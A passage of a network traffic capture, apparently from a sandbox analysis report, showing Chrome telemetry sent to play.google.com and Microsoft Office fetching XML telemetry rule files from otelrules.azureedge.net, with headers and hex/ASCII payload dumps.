/> </L> <R> <V V="false" T="B" /> </R>
2024-11-11 18:17:39 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49717	172.217.16.206	443	7324	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:39 UTC	714	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 905 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 18:17:39 UTC	905	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 33 34 39 30 35 36 36 32 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1731349056625",null,null,null,
2024-11-11 18:17:39 UTC	941	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=vsV3B5M1GzjFWHLrxnSS1SaeAqmyRkdkhopuFk45Hr8cNWhj2dFc0w9VOTSqilQ1WLQwFkcKFuH77uqyzPXujdasbOcoD-s1wdYcmFOvnmPh8za73tVPnyaysRSjBdwW9pfb_2EehZ8oRf0tjUsufYWqm0g0_mk6uNXG6gByKYnd0BpSMs6gsMA; expires=Tue, 13-May-2025 18:17:39 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Mon, 11 Nov 2024 18:17:39 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Mon, 11 Nov 2024 18:17:39 GMT Connection: close Transfer-Encoding: chunked
2024-11-11 18:17:39 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-11 18:17:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:39 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:39 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c8cfd17a-b01e-0053-1cd5-33cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181739Z-174f7845968t42glhC1EWRa36w0000000540000000001sux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:39 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:39 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:39 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 8317a370-b01e-0001-33d5-3346e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181739Z-174f7845968pf68xhC1EWRr4h800000005fg00000000m850 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:39 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:39 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:39 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:39 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 33d009d3-501e-007b-36d5-335ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181739Z-174f7845968vwdr7hC1EWRsh3w000000059g000000005t90 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:39 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:39 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:39 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:39 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0eb2a1cd-301e-0020-44d5-336299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181739Z-174f7845968ljs8phC1EWRe6en000000054000000000ebbe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:39 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:39 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:39 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:39 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 45cb36d2-601e-0070-3cd5-33a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181739Z-174f7845968v79b7hC1EWRu01s00000004y000000000bc6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:39 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:40 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:40 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9a2bdabf-a01e-0053-27d5-338603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181740Z-174f7845968j9dchhC1EWRfe74000000056g000000005rdq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:40 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:40 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:40 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 1815df8f-001e-0028-27d5-33c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181740Z-174f7845968ljs8phC1EWRe6en000000053000000000krvf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:40 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:40 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:40 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 1973b281-501e-0047-7bd5-33ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181740Z-174f7845968xlwnmhC1EWR0sv8000000054g00000000bt8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:40 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:40 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:40 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: feb354c0-101e-0079-0dd5-335913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181740Z-174f7845968n2hr8hC1EWR9cag0000000510000000001yy1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:40 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:40 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:40 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 55c0910e-d01e-0082-5dd5-33e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181740Z-174f7845968psccphC1EWRuz9s00000005mg0000000058e6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
